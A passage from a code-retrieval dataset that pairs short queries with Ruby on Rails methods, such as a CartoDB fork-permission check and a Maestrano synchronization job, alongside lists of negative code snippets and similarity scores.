"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def parameters\n nil\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] | [
"0.7120904",
"0.70538116",
"0.69469863",
"0.6901261",
"0.67348766",
"0.6717708",
"0.66874576",
"0.6676195",
"0.66601187",
"0.65563625",
"0.6525127",
"0.64565873",
"0.64494514",
"0.644928",
"0.64452374",
"0.6433947",
"0.6412815",
"0.6412815",
"0.6391939",
"0.63792473",
"0.63792473",
"0.63738",
"0.6360176",
"0.6354222",
"0.6284756",
"0.6277987",
"0.6245304",
"0.62259704",
"0.62243503",
"0.6223834",
"0.62104595",
"0.62081766",
"0.61759263",
"0.61721593",
"0.6168236",
"0.61587787",
"0.6143901",
"0.6135065",
"0.61204714",
"0.61065775",
"0.60983306",
"0.6073666",
"0.6051939",
"0.6040974",
"0.6036216",
"0.60291374",
"0.6020614",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.60180086",
"0.6017416",
"0.60161096",
"0.6006702",
"0.6002367",
"0.600212",
"0.5996321",
"0.59943277",
"0.59942585",
"0.59858114",
"0.5982845",
"0.59766084",
"0.5973769",
"0.5968758",
"0.59653395",
"0.5964966",
"0.5964966",
"0.5957481",
"0.59511584",
"0.5951042",
"0.5948871",
"0.59427315",
"0.5930573",
"0.5930121",
"0.5926885",
"0.5923959",
"0.59182686",
"0.5916637",
"0.5913613",
"0.5912174",
"0.5906678",
"0.59059656",
"0.5904252",
"0.5901623",
"0.58983696",
"0.58962476",
"0.589576",
"0.5893608"
] | 0.0 | -1 |
get visualization from url | def can_org_user_fork_resource(url, current_user)
referer_match = /tables\/([^\/]+)\/public/.match(url)
res = nil
if referer_match.nil?
referer_match = /viz\/([^\/]+)/.match(url)
unless referer_match.nil?
res = referer_match[1]
# If has schema, remove it
if res =~ /\./
res = res.split('.').reverse.first
end
vis = CartoDB::Visualization::Collection.new.fetch(
id: res,
user_id: current_user.id
).first
if vis.nil?
false
else
vis.related_tables.map { |t|
t.table_visualization.has_permission?(current_user, CartoDB::Visualization::Member::PERMISSION_READONLY)
}.all?
end
end
else
#a public table always can be forked by org user
true
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n url = params[:url]\n width = params[:maxwidth] || '100%'\n height = params[:maxheight] || '100%'\n format = request.query_parameters[:format]\n\n if (width =~ /^[0-9]+(%|px)?$/) == nil\n raise ActionController::RoutingError.new('Incorrect width')\n end\n if (height =~ /^[0-9]+(%|px)?$/) == nil\n raise ActionController::RoutingError.new('Incorrect height')\n end\n\n uri = URI.parse(url)\n\n if uri.host != request.host\n raise ActionController::RoutingError.new('URL origin not allowed')\n end\n\n begin\n uuid = /(\\w{8}-\\w{4}-\\w{4}-\\w{4}-\\w{12})/.match(uri.path)[0]\n rescue NoMethodError\n raise ActionController::RoutingError.new('UUID not found in URL')\n end\n\n begin\n viz = CartoDB::Visualization::Member.new(id: uuid).fetch\n rescue KeyError\n raise ActionController::RoutingError.new('Visualization not found: ' + uuid)\n end\n\n url = URI.join(public_visualizations_show_url(id: uuid) + \"/\", 'embed_map')\n html = \"<iframe width='#{width}' height='#{height}' frameborder='0' src='#{url}' allowfullscreen webkitallowfullscreen mozallowfullscreen oallowfullscreen msallowfullscreen></iframe>\"\n\n response_data = {\n :type => 'rich',\n :version => '1.0',\n :width => width,\n :height => height,\n :title => viz.name,\n :html => html\n }\n\n if format == 'xml'\n render xml: response_data.to_xml(root: 'oembed')\n else\n render json: response_data.to_json\n end\n end",
"def get_visual_content\n response = @client.rest_get(@data['uri'] + '/visualContent')\n @client.response_handler(response)\n end",
"def visualize\n @server = Server.find(params[:id])\n add_breadcrumb @server.name, [@server]\n add_breadcrumb \"visualizing\", [:visualize, @server]\n\n wp_service = VisualizationService.new(@server, :wordpress)\n dp_service = VisualizationService.new(@server, :drupal)\n @wordpress_data = wp_service.gather\n @drupal_data = dp_service.gather\n\n respond_to do |format|\n format.html\n format.json { render json: { server: @server,\n wp_data: @wordpress_data, dp_data: @drupal_data} }\n end\n end",
"def get(url); end",
"def url\n data['url']\n end",
"def graphic_url\n QuickTravel.url + graphic if graphic.present?\n end",
"def data_presenter factor\n collection = search\n data_collector collection, factor, params[:duration]\n if request.xhr?\n render partial: 'graph' and return\n end\n end",
"def execute(url)\n response = self.class.get(\"#{url}/query\", query: params)\n Graphics::FeatureSet.new(response.with_indifferent_access)\n end",
"def getUrl(url)\n puts url if @options[\"show-url\"]\n RestClient.get(url)\n end",
"def show url\n function = ''\n \n params = {}\n params[:url] = url\n\n request(@resource, function, params)\n end",
"def url\n response[\"url\"]\n end",
"def get_url_data(url)\n Nokogiri::HTML(open(url))\n end",
"def get_svg\n\t expires_in(1.hours, :private => false, :public => true)\n\t source_fedora_object = Multiresimage.find(params[:id])\n\t authorize! :show, source_fedora_object\n\t @svg = source_fedora_object.DELIV_OPS.content()\n gon.url = DIL_CONFIG['dil_js_url']\n respond_to do |wants|\n wants.xml { render :xml => @svg }\n end\n end",
"def get_svg\n\t expires_in(1.hours, :private => false, :public => true)\n\t source_fedora_object = Multiresimage.find(params[:id])\n\t authorize! :show, source_fedora_object\n\t @svg = source_fedora_object.DELIV_OPS.content()\n gon.url = DIL_CONFIG['dil_js_url']\n respond_to do |wants|\n wants.xml { render :xml => @svg }\n end\n end",
"def extract_observations(url)\n\n JSON.load(open(url))\n\n end",
"def url\n end",
"def get_url_data(url)\n Nokogiri::HTML(open(url))\n end",
"def stat_by_url(url, userdics: nil)\n stat_by_web(url, userdics: userdics)\n end",
"def begin_loading_dashboard(url)\n ::Gitlab::Metrics::Dashboard::Finder.find(\n project,\n embedded: true,\n grafana_url: url\n )\n end",
"def url\n @url\n end",
"def url\n @url\n end",
"def show\n url = Url.find(params[:id].to_i)\n @stats = {\n shortened_url: \"#{request.base_url}/#{url.shortened_url}\",\n original_url: url.original_url,\n usage_count: url.count,\n created_at: url.created_at,\n most_recent_use: url.updated_at\n }\n end",
"def get(url)\n call(url: url)\n end",
"def url\n Djatoka.resolver.region(filename).scale(1800).url\n end",
"def get_url\n Nokogiri::HTML(open(@url))\n end",
"def get\n @research_output = @service.get({type: params[:graph], detail: params[:detail], id: params[:id]},\n host: request.env[\"HTTP_HOST\"], limit: params[:num_results], offset: params[:start_offset], :per_project => params[:per_project], format: params[:format])\n\n respond_with @research_output\n end",
"def get_surf_data\n url = \"http://magicseaweed.com/api/#{ENV['MAGIC_SEAWEED_API_KEY']}/forecast/?spot_id=6128&units=UK\"\n uri = URI(url)\n\n response = Net::HTTP.get(uri)\n ActiveSupport::JSON.decode(response) if response != ''\n end",
"def url\n @url || File.join(host, \"v1\")\n end",
"def url\n @url\n end",
"def get_graphite_graphs(url)\n begin\n graphite = NagiosHerald::Helpers::GraphiteGraph.new\n show_historical = true\n graphs = graphite.get_graph(url, @sandbox, show_historical)\n return graphs\n rescue Exception => e\n logger.error \"Exception encountered retrieving Graphite graphs - #{e.message}\"\n e.backtrace.each do |line|\n logger.error \"#{line}\"\n end\n return []\n end\n end",
"def show\n @layer = Layer.find(params[:id])\n areas_json = @layer.areas.map do |area|\n {area_id: area.id, polygon: area.polygon}\n end\n @result = {id: @layer.id, name: @layer.name, number_of_polygons: @layer.areas.count, areas: areas_json }\n\n base_url = \"#{request.protocol}#{request.host_with_port}\"\n permalink_hash = PermalinkController.generate_json(base_url, 'layers/show', @layer, @tolerance)\n @permalink = permalink_hash[:url]\n @data_json = permalink_hash[:data_json]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: {:layer => @layer, :data_json => @data_json, :permalink => @permalink} }\n format.topojson { render json: @layer.to_topojson }\n end\n end",
"def url\n map_datum.url.split(\"?\").first\n end",
"def view(format = \"JSON\")\n raise OwaspZap::WrongFormatException,\"Output format not accepted\" unless [\"JSON\",\"HTML\",\"XML\"].include?(format)\n #http://localhost:8080/JSON/core/view/alerts/?zapapiformat=JSON&baseurl=http%3A%2F%2F192.168.1.113&start=&count=\n url = Addressable::URI.parse \"#{@base}/#{format}/core/view/alerts/\"\n url.query_values = {:zapapiformat=>format,:baseurl=>@target, :apikey=>@api_key}\n str = RestClient::get url.normalize.to_str\n format == \"JSON\" ? JSON.parse(str)[\"alerts\"] : str\n end",
"def retrieve(url)\n Hpricot(Net::HTTP.get(URI.parse(url)))\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end",
"def show\n @show_experimental = current_user.allowed_feature_list.include?(\"pipeline_viz_experimental\") || current_user.admin?\n sample = current_power.samples.find_by(id: params[:sample_id])\n pipeline_version = params[:pipeline_version]\n pipeline_run = sample && (\n pipeline_version ? sample.pipeline_run_by_version(pipeline_version) : sample.first_pipeline_run\n )\n\n if pipeline_run\n @results = RetrievePipelineVizGraphDataService.call(pipeline_run.id, @show_experimental, current_user.id != sample.user_id)\n @pipeline_versions = sample.pipeline_versions\n @last_processed_at = pipeline_run.created_at\n @pipeline_run_display = curate_pipeline_run_display(pipeline_run)\n @sample = {\n id: sample.id,\n name: sample.name,\n upload_error: sample.upload_error,\n }\n respond_to do |format|\n format.html\n format.json { render json: @results }\n end\n else\n render(json: {\n status: :not_found,\n }, status: :not_found)\n end\n end",
"def get_demographics(options={})\n url_s=@@zillow_webservice_url+'GetDemographics.htm?zws-id='+@zwsid\n if options[:city]!=nil then\n url_s=url_s+'&city='+options[:city].to_s\n end\n if options[:state]!=nil then\n url_s=url_s+'&state='+options[:state].to_s\n end\n if options[:rid]!=nil then\n url_s=url_s+'&rid='+options[:rid].to_s\n end\n if options[:neighborhood]!=nil then\n url_s=url_s+'&neighborhood='+options[:neighborhood].to_s\n end\n fetch_result(url_s)\n end",
"def data_presenter_new factor\n collection = search\n default_data collection, factor\n if request.xhr?\n render partial: 'graph' and return\n end\n end",
"def get_url(url)\n myurl = URI.parse(url)\n req = Net::HTTP::Get.new(url)\n res = Net::HTTP.start(myurl.host, myurl.port) { |http|\n http.request(req)\n }\n \n res.body # return\n end",
"def url\n end",
"def set_visualization\n @visualization = Visualization.find(params[:id])\n end",
"def set_visualization\n @visualization = Visualization.find(params[:id])\n end",
"def get(url, representer)\n response = begin\n RestClient.get(url).body\n rescue RestClient::Exception => e\n raise RequestError, e.message\n end\n\n representer.from_json(response)\n end",
"def download_image\n Net::HTTP.start(\"yuml.me\", 80) do |http|\n http.get(URI.escape(@diagram.get_uri))\n end\n end",
"def show\n @visualization = Visualization.find(params[:id])\n @project = Project.find_by_id(@visualization.project_id)\n tmp = JSON.parse(@visualization.data)\n param_vis = param_vis_check(params)\n\n # The finalized data object\n @data = {\n savedData: @visualization.data,\n savedGlobals: @visualization.globals,\n defaultVis: param_vis || tmp['defaultVis'],\n relVis: tmp['relVis']\n }\n\n recur = params.key?(:recur) ? params[:recur] == 'true' : false\n\n options = {}\n\n # Detect presentation mode (and force embed)\n if params.try(:[], :presentation) and params[:presentation]\n @presentation = true\n options[:presentation] = 1\n params[:embed] = true\n else\n @presentation = false\n end\n\n respond_to do |format|\n format.html do\n if params.try(:[], :embed) and params[:embed]\n options[:isEmbed] = 1\n options[:startCollapsed] = 1\n @globals = { options: options }\n render 'embed', layout: 'embedded'\n else\n @layout_wide = true\n render\n end\n end\n format.json { render json: @visualization.to_hash(recur) }\n end\n end",
"def fetch_json_from_url(url_of_search)\n Net::HTTP.get(URI.parse(url_of_search))\n end",
"def track\n url = Rails.env.development? ? \"http://localhost:8000/stat\" : \"http://stats.universit.as/stat\"\n RestClient.get(url, :params => {\n :ip => request.remote_ip,\n :title => request.referrer\n })\n render :js => ''\n end",
"def swapi_fetch(url)\n JSON.parse(open(url).read)\nend",
"def run\n ::SimpleHttp.get(@url).tap do |response|\n status, headers, blob = *response\n response[2] = Magick::Image.from_blob(blob).first if status == 200\n end\n end",
"def url_preview\n parsed_url = Domainatrix.parse(self.url)\n return \"#{parsed_url.domain}.#{parsed_url.public_suffix}\"\n end",
"def get_url path\n\t\t\t\[email protected] path, {}, {'REQUEST_URI' => ['http://example.org', path].join('/')}\n\t\t\t\tresponse = @browser.last_response\n\t\t\t\tresponse.body\n\t\t\tend",
"def getUrlReport(url)\n\t\t\tresponse = RestClient.post(\n\t\t\t\t'https://www.virustotal.com/vtapi/v2/url/report',\n\t\t\t\t'resource' => url,\n\t\t\t\t'apikey' => @key )\n\t\t\tJSON.parse(response)\n\t\tend",
"def get url, options={}\n options.merge!({:v => Time.now.strftime(\"%Y%m%d\")}) unless options[:v]\n response = self.class.get(url, {:query => options}).parsed_response\n if response[\"meta\"][\"code\"] == 200\n return response\n else\n raise Foursquared::Error.new(response[\"meta\"])\n end\n end",
"def show_graph\n url_for_data = url_for(controller.params.merge(:action => :data)).gsub('&', '&')\n relative_url_path = ActionController::Base.respond_to?(:relative_url_root) ? ActionController::Base.relative_url_root : ActionController::AbstractRequest.relative_url_root\n html, div_name = controller.open_flash_chart_object_and_div_name('100%', '400', url_for_data, true, \"#{relative_url_path}/\")\n\n html << '<script type=\"text/javascript\">' << \"\\n\"\n html << \"var charts_to_image_title = '#{h(controller.title)}';\\n\" \n html << \"var charts_to_image_id = '#{div_name}';\\n\"\n html << '</script>'\n\n html\n end",
"def fetch_from_url url\n require \"net/http\"\n\n uri = URI.parse(url)\n\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n\n request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46'\n \n response = http.request(request)\n \n return response.body # => The body (HTML, XML, blob, whatever)\n end",
"def url\n uri\n end",
"def url\n uri\n end",
"def do_get url\n\t\turi = URI.parse(url)\n\t\tNet::HTTP.get_response(uri)\n\tend",
"def get(url)\n self.class.get(url)\n end",
"def show\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @chart }\n end\n end",
"def get()\n html = html_for(baseurl)\n scrape html, baseurl\n end",
"def raw_stats\n url = URI.parse(stats_url)\n Net::HTTP.start(url.host, url.port) {|http|\n http.request(Net::HTTP::Get.new(url.path))\n }.body\nend",
"def geturl() \n\t\treturn self.response.geturl()\n end",
"def show\n @asset_host = DayzGps::Application.config.action_controller.asset_host ||\n \"http://localhost:#{request.port.inspect}\"\n respond_to do |format|\n format.html\n format.json { render json: @group_map.map_markers }\n end\n end",
"def show\n\t\trender json: @url, status: 200\n\tend",
"def show\n #@ru = request.original_url\n @ru = request.protocol + request.host_with_port + \"/layers/#{params['id']}\"\n #@ru = params['id']\n @annotation_layer = AnnotationLayer.where(layer_id: @ru).first\n\n # replace @ru with hostUrl environment variable\n host_url_prefix = Rails.application.config.hostUrl\n\n\n #authorize! :show, @annotation_layer\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @annotation_layer.to_iiif, content_type: \"application/json\" }\n end\n end",
"def get(url)\n raise \"Needs to be implemented\"\n end",
"def show\n @views_chart = get_views(@episode)\n @change_chart = get_differences(@episode)\n end",
"def show\n graph = GraphViz.new(:G, type: :digraph)\n competency = Competency.find(params[:id])\n graphviz(graph, competency)\n @file = Tempfile.new(['foo', '.png'], \"#{Rails.root}/public/images\")\n graph.output(png: @file.path)\n end",
"def url\n resource.url + '/metrics'\n end",
"def fetch_url_data(url)\n open(url).read\n end",
"def fetch_url_data(url)\n open(url).read\n end",
"def get_graphviz\n handle_graphviz_setup\n @file_name = build_graphviz_restfulpath(params, @output_format)\n # @file_name = get_graph_dir(\"#{@graph_path}#{params[:program]}.#{@output_format}\")\n \n render :layout=>false\n end",
"def url(version = false)\n \"http://arxiv.org/abs/#{id version}\"\n end",
"def get_content\n send_get_content(url)\n end",
"def show\n akt_zeit\n #chart_kurven\n highchart_kurven\n init_diaquenauswahl\n # macht folgende Zeile �berfl�ssig\n #@diagramm = Diagramm.find(params[:id])\n @titelzeile = @diagramm.name + \" - KabDiag\"\n respond_to do |format|\n format.html {\n }\n format.json {\n p @chart\n render :inline => @chart.render #, :layout => false\n }\n end\n end",
"def show\n @url = Url.find(params[:id])\n \n respond_to do |format|\n format.html\n end\n end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def url; end",
"def preview_url(opts={})\n url(opts)\n end",
"def show\n @sampled_url = SampledUrl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sampled_url }\n end\n end",
"def url\n @url ||= GeoIQ.base_uri + \"#{path}.json\"\n end",
"def display_img_url(url)\n url.sub(/s90$/, 's360') \n # recipe_response = Faraday.get(\"http://api.yummly.com/v1/api/recipe/#{id}\",\n # _app_id: ENV['YUMMLY_APP_ID'],\n # _app_key: ENV['YUMMLY_APP_KEY'])\n # image = JSON.parse(recipe_response.body)['images'].try(:first)\n # image['hostedLargeUrl'].present? ? image['hostedLargeUrl'] : image['hostedMediumUrl'] if image.present?\n end",
"def show\n # proxy to GET /roi/id\n @result = ImageServer.get('/roi/'+params[:id]);\n render :json => @result\n end"
] | [
"0.6083963",
"0.6016673",
"0.59852743",
"0.5969215",
"0.59300774",
"0.58464736",
"0.58337486",
"0.58178335",
"0.5786241",
"0.5749554",
"0.5729008",
"0.5713627",
"0.5687092",
"0.5687092",
"0.56591237",
"0.56472355",
"0.5647052",
"0.5638793",
"0.5581574",
"0.55800974",
"0.55800974",
"0.5575103",
"0.55490744",
"0.5538509",
"0.5494513",
"0.5489331",
"0.5487891",
"0.5478315",
"0.54710823",
"0.54706526",
"0.5450597",
"0.54497993",
"0.5449569",
"0.5446756",
"0.54432094",
"0.5441509",
"0.54375064",
"0.54354864",
"0.5424354",
"0.5416069",
"0.54139984",
"0.54139984",
"0.5402326",
"0.5390858",
"0.5384471",
"0.5381676",
"0.5376946",
"0.537578",
"0.53757524",
"0.5372822",
"0.5350175",
"0.5331698",
"0.5327444",
"0.53271025",
"0.5322831",
"0.53164953",
"0.53164953",
"0.5302135",
"0.52905697",
"0.52904874",
"0.5289566",
"0.5286686",
"0.5281318",
"0.52781016",
"0.5277351",
"0.52683747",
"0.52665913",
"0.5265397",
"0.525379",
"0.52526915",
"0.52511704",
"0.52511704",
"0.52509737",
"0.5230032",
"0.5220267",
"0.5206244",
"0.5201941",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.519841",
"0.5196868",
"0.51931036",
"0.51893526",
"0.5185383",
"0.51774275"
] | 0.0 | -1 |
Supported options: :forced => true synchronization has been triggered manually :only_entities => [person, tasks_list] :full_sync => true synchronization is performed without date filtering :connec_preemption => true|false : preemption is always|never given to connec in case of conflict (if not set, the most recently updated entity is kept) | def perform(organization_id, opts = {})
organization = Maestrano::Connector::Rails::Organization.find(organization_id)
return unless organization&.sync_enabled
# Check if previous synchronization is still running
if Maestrano::Connector::Rails::Synchronization.where(organization_id: organization.id, status: 'RUNNING').where(created_at: (30.minutes.ago..Time.now.utc)).exists?
Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, 'Synchronization skipped: Previous synchronization is still running')
return
end
# Check if recovery mode: last 3 synchronizations have failed
if !opts[:forced] && organization.last_three_synchronizations_failed? \
&& organization.synchronizations.order(created_at: :desc).limit(1).first.updated_at > 1.day.ago
Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, 'Synchronization skipped: Recovery mode (three previous synchronizations have failed)')
return
end
# Trigger synchronization
Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, "Start synchronization, opts=#{opts}")
current_synchronization = Maestrano::Connector::Rails::Synchronization.create_running(organization)
begin
last_synchronization = organization.last_successful_synchronization
last_synchronization_date = organization.last_synchronization_date
connec_client = Maestrano::Connector::Rails::ConnecHelper.get_client(organization)
external_client = Maestrano::Connector::Rails::External.get_client(organization)
# First synchronization should be from external to Connec! only to let the smart merging works
# We do a doube sync: only from external, then only from connec!
# We also do batched sync as the first one can be quite huge
if last_synchronization.nil?
Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, 'First synchronization ever. Doing two half syncs to allow smart merging to work its magic.')
organization.synchronized_entities.each do |entity, settings|
next unless settings[:can_push_to_connec] || settings[:can_push_to_external]
Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, "First synchronization ever. Doing half sync from external for #{entity}.")
first_sync_entity(entity.to_s, organization, connec_client, external_client, last_synchronization_date, opts, true)
Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, "First synchronization ever. Doing half sync from Connec! for #{entity}.")
first_sync_entity(entity.to_s, organization, connec_client, external_client, last_synchronization_date, opts, false)
end
elsif opts[:only_entities]
Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, "Synchronization is partial and will synchronize only #{opts[:only_entities].join(' ')}")
# The synchronization is marked as partial and will not be considered as the last-synchronization for the next sync
current_synchronization.mark_as_partial
opts[:only_entities].each do |entity|
sync_entity(entity, organization, connec_client, external_client, last_synchronization_date, opts)
end
else
organization.synchronized_entities.each do |entity, settings|
next unless settings[:can_push_to_connec] || settings[:can_push_to_external]
sync_entity(entity.to_s, organization, connec_client, external_client, last_synchronization_date, opts)
end
end
Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, "Finished synchronization, organization=#{organization.uid}, status=success")
current_synchronization.mark_as_success
rescue => e
Maestrano::Connector::Rails::ConnectorLogger.log('warn', organization, "Finished synchronization, organization=#{organization.uid}, status=error, message=\"#{e.message}\" backtrace=\"#{e.backtrace}\"")
current_synchronization.mark_as_error(e.message)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def perform(organization, opts)\n return unless organization.sync_enabled\n\n # Check if previous synchronization is still running\n if Synchronization.where(organization_id: organization.id, status: 'RUNNING').where(created_at: (30.minutes.ago..Time.now)).exists?\n ConnectorLogger.log('info', organization, \"Synchronization skipped: Previous synchronization is still running\")\n return\n end\n\n # Check if recovery mode: last 3 synchronizations have failed\n if !opts[:forced] && organization.last_three_synchronizations_failed? \\\n && organization.synchronizations.order(created_at: :desc).limit(1).first.updated_at > 1.day.ago\n ConnectorLogger.log('info', organization, \"Synchronization skipped: Recovery mode (three previous synchronizations have failed)\")\n return\n end\n\n # Trigger synchronization\n ConnectorLogger.log('info', organization, \"Start synchronization, opts=#{opts}\")\n current_synchronization = Synchronization.create_running(organization)\n\n begin\n last_synchronization = organization.last_successful_synchronization\n connec_client = Maestrano::Connec::Client[organization.tenant].new(organization.uid)\n external_client = External.get_client(organization)\n\n if opts[:only_entities]\n ConnectorLogger.log('info', organization, \"Synchronization is partial and will synchronize only #{opts[:only_entities].join(' ')}\")\n # The synchronization is marked as partial and will not be considered as the last-synchronization for the next sync\n current_synchronization.set_partial\n opts[:only_entities].each do |entity|\n sync_entity(entity, organization, connec_client, external_client, last_synchronization, opts)\n end\n else\n organization.synchronized_entities.select{|k, v| v}.keys.each do |entity|\n sync_entity(entity.to_s, organization, connec_client, external_client, last_synchronization, opts)\n end\n end\n\n ConnectorLogger.log('info', organization, \"Finished synchronization, organization=#{organization.uid}, status=success\")\n current_synchronization.set_success\n rescue => e\n ConnectorLogger.log('info', organization, \"Finished synchronization, organization=#{organization.uid}, status=error, message=#{e.message} backtrace=#{e.backtrace.join(\"\\n\\t\")}\")\n current_synchronization.set_error(e.message)\n end\n end",
"def first_sync_entity(entity_name, organization, connec_client, external_client, last_synchronization_date, opts, external = true)\n limit = Settings.first_sync_batch_size || 50\n skip = 0\n entities_count = limit\n last_first_record = nil\n\n h = {__limit: limit}\n external ? h[:__skip_connec] = true : h[:__skip_external] = true\n entity_instance = instanciate_entity(entity_name, organization, connec_client, external_client, opts.merge(h))\n\n # IF entities_count > limit\n # This first sync feature is probably not implemented in the connector\n # because it fetched more than the expected number of entities\n # No need to fetch it a second Time\n # ELSIF entities_count < limit\n # No more entities to fetch\n while entities_count == limit\n entity_instance.opts_merge!(__skip: skip)\n\n perform_hash = perform_sync(entity_instance, last_synchronization_date, external)\n entities_count = perform_hash[:count]\n\n # Safety: if the connector does not implement batched calls but has exactly limit entities\n # There is a risk of infinite loop\n # We're comparing the first record to check that it is different\n first_record = Digest::MD5.hexdigest(perform_hash[:first].to_s)\n break if last_first_record && first_record == last_first_record\n\n last_first_record = first_record\n\n skip += limit\n end\n end",
"def perform_sync(entity_instance, last_synchronization_date, external = true)\n entity_instance.before_sync(last_synchronization_date)\n external_entities = entity_instance.get_external_entities_wrapper(last_synchronization_date)\n connec_entities = entity_instance.get_connec_entities(last_synchronization_date)\n mapped_entities = entity_instance.consolidate_and_map_data(connec_entities, external_entities)\n entity_instance.push_entities_to_external(mapped_entities[:connec_entities])\n entity_instance.push_entities_to_connec(mapped_entities[:external_entities])\n entity_instance.after_sync(last_synchronization_date)\n\n entity_instance.class.count_and_first(external ? external_entities : connec_entities)\n end",
"def run_autosync\n begin\n self.status = _(\"Synchronizing organisations.\")\n self.update_organisation_cache\n \n self.status = _(\"Synchronizing worktime.\")\n self.update_worktime_cache\n \n self.status = _(\"Automatic synchronization done.\")\n rescue => e\n self.status = sprintf(_(\"Error while auto-syncing: %s\"), e.message)\n puts Knj::Errors.error_str(e)\n ensure\n @sync_thread = nil\n end\n end",
"def sync_options; @sync_options ||= table_sync.sync_options; end",
"def synchronize\n\n # individual settings are done e.g. in customers_controller.rb#deprovision\n @partentTargets = nil if @partentTargets.nil? \n\n @async_all = true if @async && @async_all.nil?\n @async_individual = true if @async && @async_individual.nil?\n\n @recursive_all = false if @recursive_all.nil?\n @recursive_individual = true if @recursive_individual.nil?\n\n if @async_all\n being_all = \"being \"\n else\n being_all = \"\"\n end\n\n if @async_individual\n being_individual = \"being \"\n else\n being_individual = \"\"\n end\n \n #raise ENV[\"WEBPORTAL_SYNCHRONIZE_ALL_ABORT_ON_ABORT\"].inspect\n #raise (!@async_all).inspect\n if ENV[\"WEBPORTAL_SYNCHRONIZE_ALL_ABORT_ON_ABORT\"] == \"true\" || @async_all\n # in case of asynchronous synchronization, we always allow to abort on abort, since this will trigger delayed_job to retry\n # in case of synchronous synchronization, we allow to abort on abort only, if WEBPORTAL_SYNCHRONIZE_ALL_ABORT_ON_ABORT is set to \"true\"\n @abortOnAbort = true\n else\n # in case of synchronous synchronization and WEBPORTAL_SYNCHRONIZE_ALL_ABORT_ON_ABORT is not set to \"true\", we proceed even after an abort (e.g. if a target is unreachable, other targets will still be synchronized)\n @abortOnAbort = false\n end\n #raise @abortOnAbort.inspect\n\n # note: @id needs to be set in the individual child classes (e.g. Customer/Site/User)\n if @id.nil?\n #\n # PATCH /customers/synchronize\n #\n # if @id is nil, we assume that all Customers/Sites/Users needs to be synchronized:\n\n @myClass.synchronizeAll(@partentTargets, @async_all, @recursive_all, @abortOnAbort)\n redirect_to :back, notice: \"All #{@myClass.name.pluralize} are #{being_all}synchronized.\"\n else\n #\n # PATCH /customers/1/synchronize\n #\n # if @id is not nil, an individual Customer/Site/User with id==@id is synchronized:\n \n @provisioningobject = @myClass.find(@id)\n @provisioningobject.synchronize(@async_individual, @recursive_individual)\n redirect_to :back, notice: \"#{@provisioningobject.class.name} #{@provisioningobject.name} is #{being_individual}synchronized.\"\n 